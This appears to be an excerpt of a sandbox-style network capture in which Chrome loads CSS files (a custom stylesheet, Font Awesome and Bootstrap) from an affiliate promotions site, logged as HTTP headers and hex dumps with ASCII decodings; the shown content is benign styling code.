Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	782	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/index.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:49 UTC	743	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pa5ZRthHfytMHuWZmjCrUYQGdE%2B81fDGu7aOfpKlkU6BZIUtvURyop63%2FWcZ%2BeP%2F%2FMuD4uMehIt4P3f1UBdBnogckxnzQmfMVesInUCiCdzFgDq2Eeg3pjByoATMDfEPvYmXDUqEuqpMCR9q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce418cbcbd0c80-EWR
2024-10-03 16:19:49 UTC	626	IN	Data Raw: 37 35 38 35 0d 0a 2a 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 0a 2e 6e 6f 2d 67 75 74 74 65 72 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 2e 66 6f 72 6d 64 69 76 20 62 75 74 74 6f 6e 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 31 36 66 32 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 65 31 36 66 32 65 3b 0a 7d 0a 0a 2e 62 61 64 67 65 5f 62 6c 75 65 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 74 6f 70 3a 20 2d 35 25 3b 0a 20 20 72 69 67 68 74 3a 20 31 35 25 3b 0a 7d 0a 2e 62 61 64 67 65 5f 62 Data Ascii: 7585* { margin: 0; padding: 0;}.no-gutter { padding: 0;}.formdiv button[type=submit] { background-color: #e16f2e; border-color: #e16f2e;}.badge_blue { position: absolute; text-align: center; top: -5%; right: 15%;}.badge_b
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 77 65 69 67 68 74 3a 20 37 30 30 3b 0a 7d 0a 0a 2e 63 6c 65 61 72 66 69 78 20 7b 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 7d 0a 0a 70 2e 6e 6f 2d 6d 61 72 67 69 6e 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 70 2e 6e 6f 2d 70 61 64 64 69 6e 67 20 7b 0a 20 20 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 61 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 39 39 3b 0a 7d 0a 0a 61 3a 68 6f 76 65 72 20 7b 0a 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 39 39 39 3b 0a 7d 0a 0a 2e 68 65 61 64 65 72 62 6f 78 20 7b 0a 20 20 62 61 Data Ascii: weight: 700;}.clearfix { clear: both;}p.no-margin { margin-top: 0 !important;}p.no-padding { padding-top: 0 !important;}a { text-decoration: none; color: #999;}a:hover { text-decoration: none; color: #999;}.headerbox { ba
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 29 20 30 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 29 20 35 30 25 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 29 20 31 30 30 25 29 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 70 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 32 29 20 30 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 29 20 35 30 25 2c 20 74 72 61 6e 73 70 61 72 65 6e 74 20 35 30 25 2c 20 72 67 62 61 28 32 35 35 2c 20 32 35 35 2c 20 32 35 35 2c 20 30 2e 31 29 20 31 30 30 25 29 Data Ascii: , rgba(255, 255, 255, 0.2) 0, rgba(255, 255, 255, 0.1) 50%, transparent 50%, rgba(255, 255, 255, 0.1) 100%); background-image: linear-gradient(top, rgba(255, 255, 255, 0.2) 0, rgba(255, 255, 255, 0.1) 50%, transparent 50%, rgba(255, 255, 255, 0.1) 100%)
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 74 3a 20 31 33 70 78 3b 0a 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 77 69 64 74 68 3a 20 39 32 25 3b 0a 0a 7d 0a 0a 2e 73 75 62 6d 69 74 64 69 76 20 70 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 35 70 78 3b 0a 7d 0a 0a 2e 64 69 76 65 70 6f 63 68 20 7b 0a 20 20 63 6c 65 61 72 3a 20 72 69 67 68 74 3b 0a 7d 0a 0a 2e 64 69 76 65 70 6f 63 68 20 70 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 35 70 78 20 33 30 70 78 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 7d 0a 0a 2f 2a 20 4c 61 72 67 65 20 64 65 73 6b 74 6f 70 73 20 61 6e 64 20 6c 61 70 74 6f 70 73 20 2a 2f 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 32 30 Data Ascii: t: 13px; text-align: left; width: 92%;}.submitdiv p { margin-top: 15px;}.divepoch { clear: right;}.divepoch p { padding: 15px 30px; font-size: 11px; margin: 0px !important;}/* Large desktops and laptops */@media (min-width: 120
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 63 65 74 65 78 74 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 7d 0a 20 20 73 70 61 6e 2e 70 72 6f 64 75 63 74 43 6f 64 65 73 20 7b 0a 20 20 20 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 30 20 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 33 70 78 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 39 33 25 3b 0a 20 20 7d 0a 7d 0a 0a 2f 2a 20 50 6f 72 74 72 61 69 74 20 70 68 6f 6e 65 73 20 61 6e 64 20 73 6d 61 6c 6c 65 72 20 2a 2f 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 35 30 30 70 78 29 7b 0a 20 2e 62 61 64 67 65 5f 62 6c 75 65 7b 72 69 67 68 74 3a Data Ascii: cetext{font-size: 24px;} span.productCodes { float: right; margin: 0 0 0 0; font-size: 11px; line-height: 13px; text-align: left; width: 93%; }}/* Portrait phones and smaller */@media (max-width: 500px){ .badge_blue{right:
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 20 33 30 30 70 78 3b 0a 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 33 30 30 70 78 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 20 35 35 30 70 78 3b 0a 20 20 7d 0a 7d 0a 0a 62 6f 64 79 20 7b 0a 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 27 4f 70 65 6e 20 53 61 6e 73 27 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 7d 0a 0a 2e 74 6f 70 62 61 72 20 7b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 46 46 46 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 30 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 31 70 78 3b 0a 0a 7d 0a 0a 2e 6f 66 66 65 72 62 61 72 20 7b 0a 20 20 62 61 63 6b 67 Data Ascii: 300px; max-width: 300px; height: 550px; }}body { font-family: 'Open Sans', sans-serif; font-weight: 300; font-size: 14px;}.topbar { background: #000000; color: #FFF; padding: 10px 0; font-size: 11px;}.offerbar { backg
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 35 70 78 3b 0a 0a 7d 0a 0a 2e 66 6f 72 6d 64 69 76 20 7b 0a 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 7d 0a 0a 2e 66 6f 72 6d 74 69 74 6c 65 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 39 70 78 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 31 35 70 78 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 0a 7d 0a 0a 0a 2e 70 68 6f 6e 65 2d 68 6f 6c 64 65 72 20 75 6c 20 7b 0a 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 31 30 30 70 78 3b 0a 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 20 6e 6f 6e 65 3b 0a 7d 0a 0a 2e 70 68 6f 6e 65 2d 68 6f 6c 64 65 72 20 75 6c 20 6c 69 20 7b 0a 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 20 30 3b 0a 7d 0a 0a 2e 62 74 Data Ascii: rgin-bottom: 5px;}.formdiv { color: #000;}.formtitle { font-size: 29px; font-weight: 400; margin-bottom: 15px; color: #000;}.phone-holder ul { margin-top: 100px; list-style: none;}.phone-holder ul li { padding: 10px 0;}.bt
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 6c 69 64 3b 0a 7d 0a 0a 2f 2a 20 2e 62 67 78 7b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 78 31 63 64 6e 2e 63 6f 6d 2f 62 68 2f 66 72 2f 69 70 2f 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 78 31 63 64 6e 2e 63 6f 6d 2f 62 68 2f 66 72 2f 73 31 30 2f 31 2f 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 78 31 63 64 6e 2e 63 6f 6d 2f 62 68 2f 66 72 2f 69 31 2f 31 2f 69 6d 61 67 65 73 2f 62 67 2d 78 2e 70 6e 67 29 20 63 65 6e 74 65 72 20 63 65 6e 74 65 72 20 6e 6f 2d 72 65 70 65 61 74 3b 20 20 7d 20 2a 2f 0a 2e 64 69 73 70 6c 61 79 2d 35 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 0a 2e 64 69 Data Ascii: lid;}/* .bgx{ background: url(https://cdn.x1cdn.com/bh/fr/ip/https://cdn.x1cdn.com/bh/fr/s10/1/https://cdn.x1cdn.com/bh/fr/i1/1/images/bg-x.png) center center no-repeat; } */.display-5 { font-size: 30px !important; margin: 0; padding: 0;}.di
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 74 68 3a 20 35 37 36 70 78 29 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 20 20 2e 73 70 65 63 73 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 30 70 78 3b 0a 20 20 7d 0a 0a 20 20 2e 66 6f 72 6d 64 69 76 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 20 35 30 70 78 3b 0a 20 20 7d 0a 7d 0a 0a 40 6d 65 64 69 61 20 28 6d 61 78 2d 77 69 64 74 68 3a 20 37 36 37 70 78 29 20 7b 0a 20 20 2e 64 69 73 70 6c 61 79 2d 33 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 72 65 6d 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 3b 0a 20 20 7d 0a 0a 20 20 2e 62 6f 78 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 34 36 25 3b Data Ascii: th: 576px) and (max-width: 767px) { .specs { margin-top: 0px; } .formdiv { margin-bottom: 50px; }}@media (max-width: 767px) { .display-3 { font-size: 2rem; font-weight: 300; line-height: 1.2; } .box { width: 46%;
2024-10-03 16:19:49 UTC	1369	IN	Data Raw: 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 7d 0a 0a 2e 74 65 73 74 69 6d 6f 6e 79 20 70 20 7b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 7d 0a 0a 0a 2f 2a 20 63 73 73 20 2a 2f 0a 0a 0a 0a 68 31 20 7b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 2e 32 35 72 65 6d 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 32 30 70 78 20 30 20 31 30 70 78 0a 7d 0a 0a 2e 74 6f 70 2d 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 6c 65 74 74 65 72 2d 73 70 61 63 69 6e 67 3a 20 31 70 78 3b 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 32 32 65 33 65 3b 0a 20 20 63 6f 6c 6f 72 3a 20 23 66 65 66 65 66 64 3b 0a 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 37 35 72 65 6d 0a 7d 0a 0a 40 Data Ascii: font-size: 14px;}.testimony p { font-size: 18px;}/* css */h1 { font-weight: 400; font-size: 2.25rem; margin: 20px 0 10px}.top-container { letter-spacing: 1px; background-color: #222e3e; color: #fefefd; font-size: 1.75rem}@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.16	49825	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	789	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/font-awesome.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:49 UTC	743	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JvFVNHU%2FFG9AKjZ2yFiWVSbWbNdVhAZ%2BayyT3cF%2Fh5JWtkx9prF%2FpLUit8dbw3CQCNJaWrk5MY6mBOTlL04bH0zKMIe7V38I0cV%2B4JvwH9QbIuZLU2NIyjDRp7IyA6MXmJ6JksRjWdgBZgFL"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce418cd89a3354-EWR
2024-10-03 16:19:49 UTC	626	IN	Data Raw: 33 30 64 0d 0a 2f 2a 21 0a 20 2a 20 20 46 6f 6e 74 20 41 77 65 73 6f 6d 65 20 76 34 2e 37 2e 30 20 62 79 20 40 64 61 76 65 67 61 6e 64 79 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 20 2d 20 40 66 6f 6e 74 61 77 65 73 6f 6d 65 0a 20 2a 20 20 4c 69 63 65 6e 73 65 20 2d 20 68 74 74 70 3a 2f 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2e 69 6f 2f 6c 69 63 65 6e 73 65 20 28 46 6f 6e 74 3a 20 53 49 4c 20 4f 46 4c 20 31 2e 31 2c 20 43 53 53 3a 20 4d 49 54 20 4c 69 63 65 6e 73 65 29 0a 20 2a 2f 0a 40 69 6d 70 6f 72 74 20 75 72 6c 28 27 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2d 63 73 73 2e 6d 69 6e 2e 63 73 73 27 29 3b 0a 2f 2a 20 46 4f 4e 54 20 50 41 54 48 0a 20 2a 20 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: 30d/! Font Awesome v4.7.0 by @davegandy - http://fontawesome.io - @fontawesome * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License) /@import url('font-awesome-css.min.css');/ FONT PATH * --------------------------
2024-10-03 16:19:49 UTC	162	IN	Data Raw: 29 2c 0a 20 20 20 20 20 20 20 75 72 6c 28 27 2e 2e 2f 69 6d 61 67 65 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 77 65 62 66 6f 6e 74 2e 73 76 67 23 66 6f 6e 74 61 77 65 73 6f 6d 65 72 65 67 75 6c 61 72 27 29 20 66 6f 72 6d 61 74 28 27 73 76 67 27 29 3b 0a 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 0a 20 20 66 6f 6e 74 2d 73 74 79 6c 65 3a 20 6e 6f 72 6d 61 6c 3b 0a 7d 0a 2f 2a 0a 45 6d 62 65 64 20 63 6f 64 65 20 39 66 64 36 31 63 34 65 37 64 0a 2a 2f 0a 0d 0a Data Ascii: ), url('../images/fontawesome-webfont.svg#fontawesomeregular') format('svg'); font-weight: normal; font-style: normal;}/Embed code 9fd61c4e7d/
2024-10-03 16:19:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.16	49826	172.67.185.164	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:19:49 UTC	790	OUT	GET /outstandingpromotions/automotive/v1/CEmK/app/desktop/css/bootstrap.min.css HTTP/1.1 Host: www.greatqualitydeals.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.greatqualitydeals.com/outstandingpromotions/automotive/v1/CEmK/?affid=4&c1=&c2=attU66V5SCje&c3=&click_id=6c64e5a073e548e09489062e13d2fb52 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=d630101b8fb9e30b1291e99beca4ea23
2024-10-03 16:19:50 UTC	737	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:19:49 GMT Content-Type: text/css; charset=utf-8 Transfer-Encoding: chunked Connection: close Content-Language: en-us Last-Modified: Tue, 10 Sep 2024 07:40:53 GMT Cache-Control: max-age=31536000 Expires: Thu, 02 Oct 2025 23:37:15 GMT Vary: Accept-Encoding,User-Agent CF-Cache-Status: HIT Age: 60154 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iZ0URIsDI1tyF9YCNMxSQFa9xD10%2BKeigjEx7SK7uXPrws%2BqjCLHPRUsefgzfApayiAbnpAVio8ClgFeYXFlJaAntdphIWmHGQp1qjfJFeEXwjScbOeLmCNspzMF0JTFotJLkuyKpZeb0WvK"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce418cfd2d4356-EWR
2024-10-03 16:19:50 UTC	632	IN	Data Raw: 37 63 62 64 0d 0a 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 35 2e 32 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 32 30 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 69 6e 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 3a 72 6f 6f 74 7b 2d 2d 62 6c 75 65 3a 23 30 30 37 62 66 66 3b 2d 2d 69 6e 64 69 67 6f 3a 23 36 36 31 30 66 Data Ascii: 7cbd/! Bootstrap v4.5.2 (https://getbootstrap.com/) * Copyright 2011-2020 The Bootstrap Authors * Copyright 2011-2020 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/main/LICENSE) */:root{--blue:#007bff;--indigo:#6610f
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 62 72 65 61 6b 70 6f 69 6e 74 2d 6c 67 3a 39 39 32 70 78 3b 2d 2d 62 72 65 61 6b 70 6f 69 6e 74 2d 78 6c 3a 31 32 30 30 70 78 3b 2d 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2d 73 61 6e 73 2d 73 65 72 69 66 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 42 6c 69 6e 6b 4d 61 63 53 79 73 74 65 6d 46 6f 6e 74 2c 22 53 65 67 6f 65 20 55 49 22 2c 52 6f 62 6f 74 6f 2c 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 41 72 69 61 6c 2c 22 4e 6f 74 6f 20 53 61 6e 73 22 2c 73 61 6e 73 2d 73 65 72 69 66 2c 22 41 70 70 6c 65 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 2c 22 53 65 67 6f 65 20 55 49 20 45 6d 6f 6a 69 22 2c 22 53 65 67 6f 65 20 55 49 20 53 79 6d 62 6f 6c 22 2c 22 4e 6f 74 6f 20 43 6f 6c 6f 72 20 45 6d 6f 6a 69 22 3b 2d 2d 66 6f 6e 74 2d 66 61 6d 69 6c 79 2d 6d 6f Data Ascii: breakpoint-lg:992px;--breakpoint-xl:1200px;--font-family-sans-serif:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,"Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--font-family-mo
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 6e 68 65 72 69 74 7d 64 6c 2c 6f 6c 2c 75 6c 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 72 65 6d 7d 6f 6c 20 6f 6c 2c 6f 6c 20 75 6c 2c 75 6c 20 6f 6c 2c 75 6c 20 75 6c 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 64 74 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 64 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 2e 35 72 65 6d 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 62 6c 6f 63 6b 71 75 6f 74 65 7b 6d 61 72 67 69 6e 3a 30 20 30 20 31 72 65 6d 7d 62 2c 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 65 72 7d 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 25 7d 73 75 62 2c 73 75 70 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: nherit}dl,ol,ul{margin-top:0;margin-bottom:1rem}ol ol,ol ul,ul ol,ul ul{margin-bottom:0}dt{font-weight:700}dd{margin-bottom:.5rem;margin-left:0}blockquote{margin:0 0 1rem}b,strong{font-weight:bolder}small{font-size:80%}sub,sup{position:relative;font-size:
2024-10-03 16:19:50 UTC	1369	IN	Data Raw: 3a 70 6f 69 6e 74 65 72 7d 73 65 6c 65 63 74 7b 77 6f 72 64 2d 77 72 61 70 3a 6e 6f 72 6d 61 6c 7d 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 2c 5b 74 79 70 65 3d 72 65 73 65 74 5d 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 2c 62 75 74 74 6f 6e 7b 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 62 75 74 74 6f 6e 7d 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 2c 5b 74 79 70 65 3d 72 65 73 65 74 5d 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 2c 5b 74 79 70 65 3d 73 75 62 6d 69 74 5d 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 2c 62 75 74 74 6f 6e 3a 6e 6f 74 28 3a 64 69 73 61 62 6c 65 64 29 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 7d 5b 74 79 70 65 3d 62 75 74 74 6f 6e 5d 3a 3a 2d 6d 6f 7a 2d 66 6f 63 75 73 Data Ascii: 